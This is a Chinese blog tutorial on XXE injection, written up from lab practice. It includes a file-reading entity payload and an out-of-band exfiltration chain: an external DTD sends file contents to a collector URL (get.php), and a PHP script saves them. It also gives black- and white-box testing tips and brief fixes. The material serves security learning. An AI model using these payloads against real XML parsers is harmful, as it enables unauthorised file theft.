XXE注入漏洞总结

XXE和XML概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML数据传输数据包分析

xml是文件传输的一种格式,就像字符串一样,xml对应的数据格式

我们使用xxe-labs靶场进行抓包可以获取xml格式的数据报文

在数据报中的头部信息中accept字段和Content-Type字段中具有xml字段,且数据内容中都有<></>的字样

在数据报中我们可以通过其特征来判断是xml传输数据

源码查看

服务器的数据解析形式决定了数据的传输格式

我们可以查看源代码可以看见,源代码中有处理xml数据的特定代码

利用XXE漏洞进行系统网站的文件读取

有数据回显

<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY rabbit SYSTEM "file:///D:/5.txt" >
]>

直接执行xml读取文件内容

成功读取到了主机里面的文件

这种情况适用于有页面回显的情况,我们直接读取系统文件可以获取其中的内容

无数据回显

带外测试:确定目标可以向外发送数据--->目的:解决数据的无回显问题

请求DNSlog地址的数据报

查看DNSlog的数据回显

引用外部实体--dtd

目的:1.解决拦截防护问题

           2.解决数据不回显问题

我们先使用xml语句获取我们想要的文件信息,并且将其中的信息存入指定的变量

<!ENTITY %all "<!ENTITY sent SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">

我们获取到信息后然后去请求我们构造好的get.php代码就会将文件信息写到我们的网站目录下

<?php
$data = $_GET['file'];
$myfile=fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);

最后查看get.php就可以获取到无法回显的内容

案例分析

这是一个在线等靶场环境

题目给我们一个输入框,我们查看源代码可以看到,前端代码中有一个函数是调用了xml进行数据传输

为此,我们可以抓包修改其数据包进行xml注入

但是 我们捕获到的数据是json数据

为此我们可以修改content-type的类型,使网站接收xml数据,我们写入都去文件信息的语句发现文章回显了内容,证明xml语句执行成功

为此我们可以得出结论,在网站的数据接收接口,不管数据包中的数据类型是什么,我们都可以修改Content-Type为xml进行测试

XXE漏洞测试思路
黑盒

抓获数据包,数据包中的数据类型Content-Type为xml的时候 ,可以尝试xml的payload测试

不管数据包中的数据类型是什么,我们都可以修改Content-Type为xml进行测试

功能分析-->前端提交-->抓包分析-->构造payload

白盒

通过功能定位追踪代码定位审计

通过脚本固定特定的函数搜索定位审计

通过伪协议绕过相关防护

PHP举例

SimpleXML是PHP5后提供的一套简单易用的xml工具集,可以把xml转换成方便处理的对象,也可以组织生成xml数据。不过它不适用于包含namespace的xml,而且要保证xml格式完整(well-formed)。它提供了三个方法:simplexml_import_dom、simplexml_load_file、simplexml_load_string,函数名很直观地说明了函数的作用。三个函数都返回SimpleXMLElement对象,数据的读取/添加都是通过SimpleXMLElement操作。

我们就可以去定位这些函数去判断里面的代码是否存在XXE注入漏洞

漏洞修复

禁用关键字如: <!DOCTYPE<!ENTITY SYSTEM PUBLIC

禁用实体类引用

写在最后

如有错误,请及时指出,感谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/309776.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用vmware,在ubuntu18.04中使用笔记本的摄像头

步骤1&#xff1a;在windows中检查相机状态 win10系统中&#xff0c;在左下的搜索栏&#xff0c;搜索“相机”&#xff0c;点击进入即可打开相机&#xff0c;并正常显示图像。 注意&#xff1a;如果相机连接到了虚拟机&#xff0c;则不能显示正常。 步骤2&#xff1a;在ubuntu…

Android APK未签名提醒

最近新建了一个项目&#xff0c;在build.gradle中配置好了签名&#xff0c;在执行打包的时候打出的包显示已签名&#xff0c;但是在上传市场的时候提示未签名。于是排查了好久&#xff0c;发现在build.gradle中配置的minsdk 24&#xff0c;会导致不使用V1签名&#xff0c;于是我…

【计算机毕业设计】SSM游戏点评网站

项目介绍 本项目分为前后台&#xff0c;前台为普通用户登录&#xff0c;后台为管理员登录&#xff1b; 管理员角色包含以下功能&#xff1a; 管理员登录,管理员管理,网站用户管理,游戏资讯管理,游戏类型管理,城市信息管理,竞技场管理,游戏信息管理,游戏评价信息管理等功能。…

vscode软件安装步骤

目录 一、下载软件安装包 二、运行安装包后 一、下载软件安装包 打开vscode官方网址&#xff0c;找到下载界面 链接如下&#xff1a;Download Visual Studio Code - Mac, Linux, Windows 我是windows电脑&#xff0c;各位小伙伴自己选择合适的版本&#xff0c;点击下载按钮…

C语言实例_time.h库函数功能及其用法详解

一、前言 时间在计算机编程中扮演着重要的角色&#xff0c;C语言的time.h头文件提供了一系列的函数和工具&#xff0c;用于处理时间和日期相关的操作。这些函数包括获取当前时间、日期格式化、时间间隔计算等功能&#xff0c;为开发人员提供了强大的时间处理能力。本文将对tim…

快来检测一下你是否真的学会了C语言,保证你看完后收获满满!!

文章目录 每日一言1234567891011121314151617181920结语 每日一言 人生而自由&#xff0c;却无往不在枷锁中。 --社会契约论 1 以下程序段的输出结果是&#xff1f; char s[]"\\141\141abc\t"; printf("%d\n",strlen(s));A. 9 B. 12 C. 13 D. 14 正确答…

为什么 export 导出一个字面量会报错而使用 export default 不会报错

核心 其实总的来说就是 export 导出的是变量的句柄&#xff08;或者说符号绑定、近似于 C 语言里面的指针&#xff0c;C里面的变量别名&#xff09;&#xff0c;而 export default 导出的是变量的值。 需要注意的是&#xff1a;模块里面的内容只能在模块内部修改&#xff0c;…

2023第三届中国高校大数据挑战赛B题代码

任务已完成&#xff0c;聚类效果很好&#xff08;主要在于数据的处理以及特征工程&#xff09;, 需代码si&#xff0c;yuer有限先到先得。

每日一题——LeetCode976

方法一 个人方法 找规律&#xff1a; 要求要围成三角形且周长最大&#xff0c;那么三条边自然是越大且越接近越好。那么我们就从最大的三条边开始看能不能围成三角形。如果不能组成三角形&#xff0c;则丢弃最长的那条&#xff0c;再取剩余边里最长的那条再看能不能组成三角形…

科技创新实验室数据管理优选:高效企业网盘推荐

科技创新实验室建设是国家加强科技创新基本能力建设的重要措施&#xff0c;企业网盘等高效办公工具的应用是保证科技创新实验室正常运行、提高科研项目团队合作效率的重要手段。 本文将介绍企业网盘Zoho WorkDrive提供的解决方案&#xff1a; 行业痛点1&#xff1a;分散的数据…

YOLOv8改进有效系列目录 | 包含卷积、主干、检测头、注意力机制、Neck上百种创新机制

&#x1f451; YOLOv8改进有效系列目录 &#x1f451; 前言 Hello&#xff0c;各位读者们好 本专栏自开设两个月以来已经更新改进教程60余篇其中包含C2f、主干、检测头、注意力机制、Neck多种结构上创新&#xff0c;也有损失函数和一些细节点上的创新。同时本人一些讲解视频…

04-获取认证的用户身份信息

存储用户信息的方式 获取用户信息的流程 用户提交账号和密码后,DaoAuthenticationProvider调用UserDetailsService接口实现类的loadUserByUsername()方法,该方法可以接收请求参数username的值,然后根据该值查询用户信息,最后将账号,密码,权限封装到UserDetails对象中并返回给…